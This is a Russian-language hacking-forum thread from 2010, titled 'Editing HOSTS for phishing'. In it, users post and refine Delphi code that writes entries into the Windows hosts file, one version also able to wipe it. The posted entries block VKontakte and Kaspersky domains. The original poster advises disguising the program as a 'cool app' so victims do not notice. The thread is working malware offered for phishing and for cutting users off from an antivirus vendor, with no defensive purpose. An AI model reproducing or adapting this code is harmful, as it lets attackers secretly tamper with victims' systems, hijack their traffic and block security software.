ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
Редактируем HOSTS под фишинг |

10.01.2010, 05:05
|
|
Banned
Регистрация: 05.03.2009
Сообщений: 71
Провел на форуме: 1130493
Репутация:
2
|
|
Редактируем HOSTS под фишинг
Прочитал тему, в ней выложен билдер батников для редактирование хостс. Если кто хочет может сделать на дельфи тоже самое на свой вкус, чтобы не париться со склейкой батника.
Пишем процедуру:
procedure wHosts(s:string);
var
SysdirP: PChar;
hFile: THandle;
nw: dword;
b: byte;
begin
SysDirP := StrAlloc(MAX_PATH);
GetSystemDirectory(SysDirP, MAX_PATH);
lstrcat(SysDirP, '\drivers\etc\hosts');
hFile := CreateFile(SysDirP, GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
SetFilePointer(hFile, 0, nil, FILE_END);
b:=13;
WriteFile(hFile, b, 1, nw, nil);
b:=10;
WriteFile(hFile, b, 1, nw, nil);
WriteFile(hFile, PAnsiChar(s)^, length(s), nw, nil);
CloseHandle(hFile);
end;
Применение:
procedure TForm1.FormCreate(Sender: TObject);
begin
wHosts('127.0.0.1 www.vkontakte.ru');
wHosts('127.0.0.1 vkontakte.ru');
wHosts('127.0.0.1 www.vk.com');
wHosts('127.0.0.1 vk.com');
wHosts('127.0.0.1 www.kaspersky.ru');
wHosts('127.0.0.1 kaspersky.ru');
end;
Чтобы было без палева можно сделать под видом кульной проги, думаю с дельфи из форумчан много кто знаком.
Сорц
|
|
|

10.01.2010, 06:41
|
|
Reservists Of Antichat - Level 6
Регистрация: 07.07.2009
Сообщений: 324
Провел на форуме: 1585404
Репутация:
564
|
|
Вот эт норм теперь не будут барыжничать host билдером ) или будут ? )
|
|
|

10.01.2010, 13:34
|
|
Новичок
Регистрация: 27.02.2008
Сообщений: 11
Провел на форуме: 1563443
Репутация:
11
|
|
А не проще ли было через assign, append/rewrite, writeln, close?
|
|
|

10.01.2010, 14:07
|
|
Banned
Регистрация: 05.03.2009
Сообщений: 71
Провел на форуме: 1130493
Репутация:
2
|
|
Сообщение от DarkByte
А не проще ли было через assign, append/rewrite, writeln, close?
Выложи свой пример, меня и мой устраивает!
|
|
|

10.01.2010, 14:26
|
|
Новичок
Регистрация: 27.02.2008
Сообщений: 11
Провел на форуме: 1563443
Репутация:
11
|
|
Сообщение от Sokolik
Выложи свой пример, меня и мой устраивает!
Код:
procedure toHosts(s:string; clear: boolean=false);
var
SysDir: string;
f: TextFile;
begin
SetLength(SysDir,MAX_PATH);
GetSystemDirectory(PCHar(SysDir), MAX_PATH);
if SysDir<>'' then begin
SetLength(SysDir,pos(#0,SysDir)-1);
SysDir:=SysDir+'\drivers\etc\hosts';
assign(f,SysDir);
if clear or (not FileExists(SysDir)) then rewrite(f) else append(f);
writeln(f,s);
close(f);
end;
end;
Пример использования
Код:
begin
toHosts('127.0.0.1 www.vkontakte.ru',true);
toHosts('127.0.0.1 vkontakte.ru');
toHosts('127.0.0.1 www.vk.com');
toHosts('127.0.0.1 vk.com');
end;
В первом вызове toHosts вторым параметром указывается true, для того, чтобы очистить файл hosts.
|
|
|

10.01.2010, 18:17
|
|
Познающий
Регистрация: 13.12.2009
Сообщений: 63
Провел на форуме: 483747
Репутация:
5
|
|
кто расскажет как юзать данную вещь? 
|
|
|

10.01.2010, 18:36
|
|
Новичок
Регистрация: 26.07.2009
Сообщений: 4
Провел на форуме: 185319
Репутация:
5
|
|
Сообщение от DarkByte
А не проще ли было через assign, append/rewrite, writeln, close?
Паскалевские ехешники не на всех ОС работать будут (Вин7, ХР 64).
|
|
|

10.01.2010, 18:44
|
|
Новичок
Регистрация: 26.07.2009
Сообщений: 4
Провел на форуме: 185319
Репутация:
5
|
|
Сообщение от Шухер
кто расскажет как юзать данную вещь? 
Скачиваешь, запускаешь и радуешься.
|
|
|

10.01.2010, 19:23
|
|
Новичок
Регистрация: 27.02.2008
Сообщений: 11
Провел на форуме: 1563443
Репутация:
11
|
|
Сообщение от 22Striker22
Паскалевские ехешники не на всех ОС работать будут (Вин7, ХР 64).
Да неужели? Странно, а у меня работают. assign это обёртка над CreateFile, если речь об этом.
|
|
|

10.01.2010, 19:31
|
|
Новичок
Регистрация: 24.07.2008
Сообщений: 13
Провел на форуме: 215856
Репутация:
1
|
|
За бутылочку пива кто сможет помочь?
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|